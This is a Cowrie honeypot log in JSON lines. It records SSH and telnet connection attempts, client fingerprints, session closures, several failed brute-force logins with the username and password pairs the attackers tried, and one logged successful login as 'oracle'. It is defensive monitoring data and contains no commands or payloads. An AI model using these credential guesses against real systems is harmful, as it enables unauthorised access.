{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:12.048118Z","src_ip":"80.94.92.168","session":"da99216da6cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.72456979751587,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:14.071459Z","src_ip":"209.126.87.217","session":"90acdf6f4cc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.23469400405884,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:15.942659Z","src_ip":"209.126.87.217","session":"c8e6e66128e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":57586,"dst_ip":"159.203.135.109","dst_port":22,"session":"26bc082f7b9d","protocol":"ssh","message":"New connection: 103.146.202.174:57586 (159.203.135.109:22) [session: 26bc082f7b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:17.088963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:17.093527Z","src_ip":"103.146.202.174","session":"26bc082f7b9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:17.341614Z","src_ip":"103.146.202.174","session":"26bc082f7b9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.243300437927246,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:17.903403Z","src_ip":"209.126.87.217","session":"d5bde49c2922","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678910","message":"login attempt [root/12345678910] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:18.374757Z","src_ip":"103.146.202.174","session":"26bc082f7b9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:19.626496Z","src_ip":"103.146.202.174","session":"26bc082f7b9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.7004132270813,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:20.336298Z","src_ip":"209.126.87.217","session":"ed49e233b3fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.8280246257782,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:21.119908Z","src_ip":"209.126.87.217","session":"dccf5781acd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09419512748718,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:21.418712Z","src_ip":"209.126.87.217","session":"162fe4464be3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41038,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa0b9509c02b","protocol":"telnet","message":"New connection: 209.126.87.217:41038 (159.203.135.109:23) [session: fa0b9509c02b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:21.865577Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41050,"dst_ip":"159.203.135.109","dst_port":23,"session":"90db2da9a415","protocol":"telnet","message":"New connection: 209.126.87.217:41050 (159.203.135.109:23) [session: 90db2da9a415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:21.981282Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.112.116","src_port":38096,"dst_ip":"159.203.135.109","dst_port":22,"session":"407cc2baf300","protocol":"ssh","message":"New connection: 14.103.112.116:38096 (159.203.135.109:22) [session: 407cc2baf300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:24.837004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:24.844410Z","src_ip":"14.103.112.116","session":"407cc2baf300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:25.085306Z","src_ip":"14.103.112.116","session":"407cc2baf300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.90409994125366,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:25.319953Z","src_ip":"209.126.87.217","session":"47622d74cabc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.73077201843262,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:26.529009Z","src_ip":"209.126.87.217","session":"a673a418c096","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle1234","message":"login attempt [root/oracle1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:26.720540Z","src_ip":"14.103.112.116","session":"407cc2baf300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41052,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5f7c8bace59","protocol":"telnet","message":"New connection: 209.126.87.217:41052 (159.203.135.109:23) [session: b5f7c8bace59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:29.566171Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39416,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf972ff5594c","protocol":"telnet","message":"New connection: 209.126.87.217:39416 (159.203.135.109:23) [session: cf972ff5594c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:30.176770Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39420,"dst_ip":"159.203.135.109","dst_port":23,"session":"902d85ccadea","protocol":"telnet","message":"New connection: 209.126.87.217:39420 (159.203.135.109:23) [session: 902d85ccadea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:31.417204Z"}
{"eventid":"cowrie.session.closed","duration":31.37223768234253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:31.787656Z","src_ip":"209.126.87.217","session":"3910bf546217","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:32.495636Z","src_ip":"14.103.112.116","session":"407cc2baf300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39422,"dst_ip":"159.203.135.109","dst_port":23,"session":"287c40174927","protocol":"telnet","message":"New connection: 209.126.87.217:39422 (159.203.135.109:23) [session: 287c40174927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:32.653876Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39434,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6b8e385cc51","protocol":"telnet","message":"New connection: 209.126.87.217:39434 (159.203.135.109:23) [session: d6b8e385cc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:33.073137Z"}
{"eventid":"cowrie.session.closed","duration":31.81375241279602,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:33.228547Z","src_ip":"209.126.87.217","session":"ee3452938352","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":37602,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8a658f551e2","protocol":"ssh","message":"New connection: 80.94.92.182:37602 (10.17.0.5:22) [session: f8a658f551e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:33.239056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:33.249596Z","src_ip":"80.94.92.182","session":"f8a658f551e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:33.363233Z","src_ip":"80.94.92.182","session":"f8a658f551e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39446,"dst_ip":"159.203.135.109","dst_port":23,"session":"acc20da2d4ee","protocol":"telnet","message":"New connection: 209.126.87.217:39446 (159.203.135.109:23) [session: acc20da2d4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:33.481706Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:33.815145Z","src_ip":"80.94.92.182","session":"f8a658f551e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39454,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7afb30cf971","protocol":"telnet","message":"New connection: 209.126.87.217:39454 (159.203.135.109:23) [session: d7afb30cf971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:34.895495Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:34.984070Z","src_ip":"80.94.92.182","session":"f8a658f551e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38108,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c874fa1f393","protocol":"ssh","message":"New connection: 159.203.92.129:38108 (159.203.135.109:22) [session: 6c874fa1f393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:37.261480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:37.265921Z","src_ip":"159.203.92.129","session":"6c874fa1f393","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:37.270278Z","src_ip":"159.203.92.129","session":"6c874fa1f393","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"HuaWei123","message":"login attempt [ansible/HuaWei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:37.280657Z","src_ip":"159.203.92.129","session":"6c874fa1f393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:38.287593Z","src_ip":"159.203.92.129","session":"6c874fa1f393","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":55040,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe2b91aac336","protocol":"telnet","message":"New connection: 209.126.87.217:55040 (159.203.135.109:23) [session: fe2b91aac336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:45.422843Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":55046,"dst_ip":"159.203.135.109","dst_port":23,"session":"5681486af8cc","protocol":"telnet","message":"New connection: 209.126.87.217:55046 (159.203.135.109:23) [session: 5681486af8cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:45.720962Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":55052,"dst_ip":"159.203.135.109","dst_port":23,"session":"bddf54ebc433","protocol":"telnet","message":"New connection: 209.126.87.217:55052 (159.203.135.109:23) [session: bddf54ebc433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:46.428882Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":55060,"dst_ip":"159.203.135.109","dst_port":23,"session":"7674d090aeb1","protocol":"telnet","message":"New connection: 209.126.87.217:55060 (159.203.135.109:23) [session: 7674d090aeb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:48.201944Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":55074,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef30db126c82","protocol":"telnet","message":"New connection: 209.126.87.217:55074 (159.203.135.109:23) [session: ef30db126c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:48.448200Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39512,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1bf3e89d703","protocol":"telnet","message":"New connection: 209.126.87.217:39512 (159.203.135.109:23) [session: f1bf3e89d703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:54.977852Z"}
{"eventid":"cowrie.session.closed","duration":33.318279504776,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:55.183761Z","src_ip":"209.126.87.217","session":"fa0b9509c02b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39514,"dst_ip":"159.203.135.109","dst_port":23,"session":"26705759316a","protocol":"telnet","message":"New connection: 209.126.87.217:39514 (159.203.135.109:23) [session: 26705759316a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:55.722144Z"}
{"eventid":"cowrie.session.closed","duration":34.77739381790161,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:56.758553Z","src_ip":"209.126.87.217","session":"90db2da9a415","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39526,"dst_ip":"159.203.135.109","dst_port":23,"session":"acf031b083fb","protocol":"telnet","message":"New connection: 209.126.87.217:39526 (159.203.135.109:23) [session: acf031b083fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:02:57.602042Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39516,"dst_ip":"159.203.135.109","dst_port":23,"session":"835ddb9c475f","protocol":"telnet","message":"New connection: 209.126.87.217:39516 (159.203.135.109:23) [session: 835ddb9c475f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:00.024045Z"}
{"eventid":"cowrie.session.closed","duration":31.965755224227905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:02.142386Z","src_ip":"209.126.87.217","session":"cf972ff5594c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":56574,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4c6ef39f464","protocol":"ssh","message":"New connection: 45.43.86.48:56574 (10.17.0.5:22) [session: e4c6ef39f464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:02.861622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:02.870858Z","src_ip":"45.43.86.48","session":"e4c6ef39f464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:02.962211Z","src_ip":"45.43.86.48","session":"e4c6ef39f464","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39518,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a56a9023dd3","protocol":"telnet","message":"New connection: 209.126.87.217:39518 (159.203.135.109:23) [session: 0a56a9023dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:03.393005Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"!","message":"login attempt [oracle/!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:03:03.638575Z","src_ip":"45.43.86.48","session":"e4c6ef39f464","protocol":"ssh"}
